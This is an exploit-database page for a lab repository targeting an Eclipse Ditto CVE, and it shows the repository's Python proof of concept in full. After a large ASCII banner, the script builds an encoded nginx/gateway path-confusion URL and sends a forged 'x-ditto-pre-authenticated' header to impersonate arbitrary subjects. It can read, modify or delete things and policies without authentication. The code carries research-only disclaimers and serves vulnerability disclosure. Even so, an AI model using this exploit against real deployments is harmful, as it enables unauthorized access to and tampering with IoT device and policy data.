Exploit databaseDownload repository ZIP
GH-43a4216bfcb00d7149694c4cd7ee19d6
abraxas/cve-2026-135150-lab
Sources for CVE-2026-135150
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files13
abraxas/cve-2026-135150-labRevision 8f45d20d6da9
- nginx/
- nginx-fixed/
- seed/
- upstream/
- .gitignore
- CVE-2026-135150-Abraxas-Labs.py
- README.md
- docker-compose.yml
- header.png
- lab.sh
- poc.py
- poc.sh
- seed.sh
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2026-135150-Abraxas-Labs.py
Suggested starting filePython · 14,886 bytes#!/usr/bin/env python3
######################################################################################
#
# d8888 888888b. 8888888b. d8888 Y88b d88P d8888 .d8888b.
# d88888 888 "88b 888 Y88b d88888 Y88b d88P d88888 d88P Y88b
# d88P888 888 .88P 888 888 d88P888 Y88o88P d88P888 Y88b.
# d88P 888 8888888K. 888 d88P d88P 888 Y888P d88P 888 "Y888b.
# d88P 888 888 "Y88b 8888888P" d88P 888 d888b d88P 888 "Y88b.
# d88P 888 888 888 888 T88b d88P 888 d88888b d88P 888 "888
# d8888888888 888 d88P 888 T88b d8888888888 d88P Y88b d8888888888 Y88b d88P
# d88P 888 8888888P" 888 T88b d88P 888 d88P Y88b d88P 888 "Y8888P"
#
# 888 d8888 888888b. .d8888b.
# 888 d88888 888 "88b d88P Y88b
# 888 d88P888 888 .88P Y88b.
# 888 d88P 888 8888888K. "Y888b.
# 888 d88P 888 888 "Y88b "Y88b.
# 888 d88P 888 888 888 "888
# 888 d8888888888 888 d88P Y88b d88P
# 88888888 d88P 888 8888888P" "Y8888P"
#
# Mail : [email protected]
#
# CVE: CVE-2026-135150 (Critical: 9.1)
# Vendor: Eclipse Ditto (Eclipse Foundation)
# Versions: Eclipse Ditto 1.1.0-3.9.9 (3.8 line <= 3.8.15); Helm chart <= 4.9.0
# Impact: Unauthenticated subject impersonation via x-ditto-pre-authenticated plus nginx/gateway path confusion
# Requires: Local Docker lab of Ditto 3.9.9 with shipped nginx pre-auth; loopback only
#
######################################################################################
#
# RESEARCH / EDUCATIONAL USE ONLY.
# Do not run, deploy, or use this material against any host unless you have
# explicit written permission from both the party hosting this repository
# and the owner of the target systems.
#
######################################################################################
import os as _os
import shutil as _shutil
import sys as _sys
import builtins as _builtins
_ART = {"abraxas": [" d8888 888888b. 8888888b. d8888 Y88b d88P d8888 .d8888b.", " d88888 888 \"88b 888 Y88b d88888 Y88b d88P d88888 d88P Y88b", " d88P888 888 .88P 888 888 d88P888 Y88o88P d88P888 Y88b.", " d88P 888 8888888K. 888 d88P d88P 888 Y888P d88P 888 \"Y888b.", " d88P 888 888 \"Y88b 8888888P\" d88P 888 d888b d88P 888 \"Y88b.", " d88P 888 888 888 888 T88b d88P 888 d88888b d88P 888 \"888", " d8888888888 888 d88P 888 T88b d8888888888 d88P Y88b d8888888888 Y88b d88P", " d88P 888 8888888P\" 888 T88b d88P 888 d88P Y88b d88P 888 \"Y8888P\""], "labs": [" 888 d8888 888888b. .d8888b.", " 888 d88888 888 \"88b d88P Y88b", " 888 d88P888 888 .88P Y88b.", " 888 d88P 888 8888888K. \"Y888b.", " 888 d88P 888 888 \"Y88b \"Y88b.", " 888 d88P 888 888 888 \"888", " 888 d8888888888 888 d88P Y88b d88P", " 88888888 d88P 888 8888888P\" \"Y8888P\""]}
_CVE = "CVE-2026-135150"
_EMAIL = "[email protected]"
_RST = "\033[0m"
_BLD = "\033[1m"
_CYAN = (0, 255, 249)
_MAGENTA = (255, 0, 212)
_PINK = (255, 77, 224)
_GREEN = (57, 255, 20)
_GOLD = (255, 230, 0)
_AMBER = (255, 201, 70)
_RED = (255, 64, 96)
_MUTED = (140, 155, 175)
_INK = (232, 255, 248)
_RAIN = [
(255, 77, 224), (255, 0, 212), (191, 95, 255), (91, 140, 255),
(0, 210, 255), (0, 255, 249), (57, 255, 20), (180, 255, 70),
(255, 230, 0), (255, 201, 70), (255, 122, 24), (255, 64, 96),
]
def _on():
return not _os.environ.get("NO_COLOR")
def _rgb(r, g, b):
if not _on():
return ""
return f"\033[38;2;{r};{g};{b}m"
def _paint(text, rgb, bold=False):
if not text or rgb is None:
return text or ""
prefix = _rgb(*rgb) + (_BLD if bold else "")
return "".join(ch if ch == " " else prefix + ch for ch in text)
def _box(inner, border):
edge = _rgb(*border) + "║" + _RST
return edge + " " + inner + _RST + " " + edge
def _rule(left, right, border, width):
return _rgb(*border) + left + "═" * (width - 2) + right + _RST
def _split(text, left_end, right_start, left_rgb, right_rgb, mid_rgb=None, left_bold=False):
return (
_paint(text[:left_end], left_rgb, bold=left_bold)
+ _paint(text[left_end:right_start], mid_rgb)
+ _paint(text[right_start:], right_rgb)
)
def _fit(left, right, width, fill=" "):
gap = max(width - len(left) - len(right), 1)
return (left + fill * gap + right)[:width].ljust(width)
def _lerp(a, b, t):
return tuple(int(a[i] + (b[i] - a[i]) * t) for i in range(3))
def _rain(x, width):
if width <= 1:
return _RAIN[0]
t = (x / (width - 1)) * (len(_RAIN) - 1)
i = min(int(t), len(_RAIN) - 2)
return _lerp(_RAIN[i], _RAIN[i + 1], t - i)
def _logo_line(line):
width = max(len(line), 1)
out = []
quoted = False
for x, ch in enumerate(line):
if ch == " ":
out.append(ch)
continue
quoted ^= ch == '"'
if ch == '"':
color = _AMBER if quoted else _GOLD
elif quoted:
color = _GOLD
else:
color = _rain(x, width)
out.append(_rgb(*color) + ch)
return "".join(out) + _RST
def _banner_width(cols):
art = _ART["abraxas"] + _ART["labs"]
art_w = max(len(row) for row in art)
content_w = min(max(art_w, 88), max(cols - 4, 40))
box_w = content_w + 4
if box_w > cols:
content_w = max(cols - 4, 20)
box_w = content_w + 4
return content_w, box_w
def _title_row(width):
left, right = " ABRAXAS LABS", "analyze · reverse · disclose"
text = _fit(left, right, width)
return _split(text, len(left), width - len(right), _CYAN, _MUTED, left_bold=True)
def _cve_row(width):
left, right = " " + _CVE, "authorized research only"
rest = max(width - len(left) - len(right), 3)
text = (left + " local lab ".center(rest)[:rest] + right)[:width].ljust(width)
return _split(text, len(left), width - len(right), _PINK, _GREEN, mid_rgb=_MAGENTA, left_bold=True)
def _mail_row(width):
left, right = " Mail", _EMAIL
text = _fit(left, right, width)
return _split(text, len(left), width - len(right), _GOLD, _CYAN)
def _status_line():
marks = {"[": _GREEN, "]": _GREEN, "*": _GREEN, "·": _PINK, "#": _PINK}
text = "[*] abraxas!null ready on #labs"
return "".join(ch if ch == " " else _rgb(*marks.get(ch, _INK)) + ch for ch in text) + _RST
def print_abraxas_banner():
cols = _shutil.get_terminal_size((120, 30)).columns
content_w, box_w = _banner_width(cols)
lines = [
_rule("╔", "╗", _CYAN, box_w),
_box(_title_row(content_w) + _RST, _CYAN),
_rule("╠", "╣", _MAGENTA, box_w),
_box(_cve_row(content_w) + _RST, _MAGENTA),
_rule("╠", "╣", _MAGENTA, box_w),
]
for glyph in _ART["abraxas"] + _ART["labs"]:
vis = glyph[:content_w].ljust(content_w)
lines.append(_box(_logo_line(vis), _MAGENTA))
lines.extend([
_rule("╠", "╣", _MAGENTA, box_w),
_box(_mail_row(content_w) + _RST, _MAGENTA),
_rule("╚", "╝", _CYAN, box_w),
" " + _status_line(),
])
_sys.stdout.write("\n".join(lines) + "\n\n")
_sys.stdout.flush()
def _message_color(s):
low = s.lower()
stripped = s.lstrip()
if low.startswith("success"):
return _rgb(*_GREEN) + _BLD
if low.startswith("fail"):
return _rgb(*_RED) + _BLD
if "user_id" in low:
return _rgb(*_AMBER) + _BLD
if low.startswith("status=") or "status=" in low[:20]:
return _rgb(*_CYAN)
if low.startswith("carrier"):
return _rgb(*_MAGENTA)
if stripped[:1] in "{[":
return _rgb(*_GOLD)
return _rgb(*_INK)
def _cprint(*args, **kwargs):
sep = kwargs.get("sep", " ")
s = sep.join(str(a) for a in args)
dest = kwargs.get("file", _sys.stdout)
if dest is not _sys.stdout and dest is not _sys.stderr:
_PRINT(*args, **kwargs)
return
extra = {k: v for k, v in kwargs.items() if k != "sep"}
_PRINT(_message_color(s) + s + _RST, **extra)
print_abraxas_banner()
_PRINT = _builtins.print
_builtins.print = _cprint
"""
CVE-2026-135150 - Eclipse Ditto subject impersonation via client-supplied
`x-ditto-pre-authenticated` header, combined with an nginx/gateway path
interpretation conflict (CWE-290 + CWE-436).
LAB USE ONLY. This tool talks to a local test deployment you control.
Two exploitation styles are supported:
nginx (default) the proxy/gateway path-confusion variant. The request is
routed by nginx through the *unauthenticated* /api/2/connections
location while the gateway resolves the very same raw path to the
regular Things/Policies API. Requires the shipped nginx config
(Helm chart, deployment/docker, k8s/openshift) with pre-auth on.
direct the Helm-Ingress variant (Ditto 3.9.0-3.9.9, ingress.enabled=true):
the ingress routes /api straight to the gateway without setting or
clearing the header, so NO path manipulation is needed at all - just
the forged header on a normal API path.
Usage:
poc.py --host localhost --port 8080 --thing lab.thing:1 --subject nginx:victim
poc.py --host localhost --port 8081 --mode direct --thing lab.thing:1 --subject nginx:victim
poc.py --explain
"""
import argparse
import http.client
import json
import sys
MARKER = "connections" # the unauthenticated nginx location used as a pivot
def build_confusion_path(target_path: str, marker: str = MARKER) -> str:
"""
Build a raw request path that nginx and the Ditto gateway resolve
differently.
nginx : decodes %2f into '/', then resolves '.'/'..' segments. The result
starts with /api/2/<marker> and therefore lands in a location that
has no nginx authentication and no header sanitisation.
gateway: does NOT treat %2f as a path separator, so the encoded segments
stay inside one path segment; only the trailing real '/..' is
resolved, leaving the regular /api/2/things/<id> resource.
"""
if not target_path.startswith("/api/2/"):
raise ValueError("target path must start with /api/2/")
depth = len([s for s in target_path[len("/api/2/"):].split("/") if s])
# one extra '..' to pop the throwaway segment that holds the encoded dots
dots = depth + 1
return (
target_path
+ "/x"
+ "%2f.." * dots
+ "%2f"
+ marker
+ "%2fy/.."
)
def request(host, port, method, path, headers=None, timeout=10):
"""Send a request with the path byte-for-byte as given (no normalisation)."""
conn = http.client.HTTPConnection(host, port, timeout=timeout)
try:
conn.putrequest(method, path, skip_accept_encoding=True, skip_host=False)
for key, value in (headers or {}).items():
conn.putheader(key, value)
conn.endheaders()
body = conn.getresponse()
return body.status, body.read().decode("utf-8", "replace")
finally:
conn.close()
def main() -> int:
ap = argparse.ArgumentParser(description="CVE-2026-135150 PoC (lab use only)")
ap.add_argument("--host", default="localhost")
ap.add_argument("--port", type=int, default=8080, help="port of nginx (8080) or the gateway (8081)")
ap.add_argument("--thing", default="lab.thing:1", help="thing id, e.g. lab.thing:1")
ap.add_argument("--policy", default=None, help="policy id to read instead of a thing")
ap.add_argument("--subject", default="nginx:victim",
help="policy subject to impersonate, e.g. nginx:victim")
ap.add_argument("--mode", choices=["nginx", "direct"], default="nginx")
ap.add_argument("--method", default="GET", choices=["GET", "PUT", "POST", "PATCH", "DELETE"])
ap.add_argument("--body", default=None, help="request body for PUT/PATCH/POST")
ap.add_argument("--content-type", default="application/json")
ap.add_argument("--marker", default=MARKER)
ap.add_argument("--explain", action="store_true", help="show the constructed path and exit")
args = ap.parse_args()
if args.policy:
target = "/api/2/policies/%s" % args.policy
else:
target = "/api/2/things/%s" % args.thing
if args.mode == "nginx":
path = build_confusion_path(target, args.marker)
else:
path = target
headers = {
# http.client adds its own Host header - do not add one here
"x-ditto-pre-authenticated": args.subject,
}
if args.body:
headers["Content-Type"] = args.content_type
headers["Content-Length"] = str(len(args.body))
print("=" * 72)
print("CVE-2026-135150 - Eclipse Ditto pre-authentication header spoofing")
print("=" * 72)
print("target resource : %s" % target)
print("mode : %s" % args.mode)
print("raw path sent : %s" % path)
if args.mode == "nginx":
print("nginx resolves : /api/2/%s%s -> unauthenticated location"
% (args.marker, " (no basic-auth challenge, header not cleared)"))
print("gateway resolves: %s/ -> regular Things/Policies API" % target)
print("forged header : x-ditto-pre-authenticated: %s" % args.subject)
print("-" * 72)
if args.explain:
return 0
status, body = request(args.host, args.port, args.method, path, headers)
print("HTTP %s" % status)
if body:
try:
print(json.dumps(json.loads(body), indent=2)[:4000])
except ValueError:
print(body[:4000])
print("-" * 72)
if status in (200, 201, 204):
print("RESULT: BYPASS CONFIRMED - the gateway served the resource as %r" % args.subject)
return 0
if status == 400 and "dot segment" in body:
print("RESULT: PATCHED - the gateway rejects dot segments in the raw request path.")
return 1
if status in (401, 403, 404):
print("RESULT: rejected (%s). Either the deployment is patched, pre-authentication is"
% status)
print(" disabled, the subject lacks the rights, or the proxy sanitises the header.")
return 1
print("RESULT: unexpected status %s" % status)
return 2
if __name__ == "__main__":
sys.exit(main())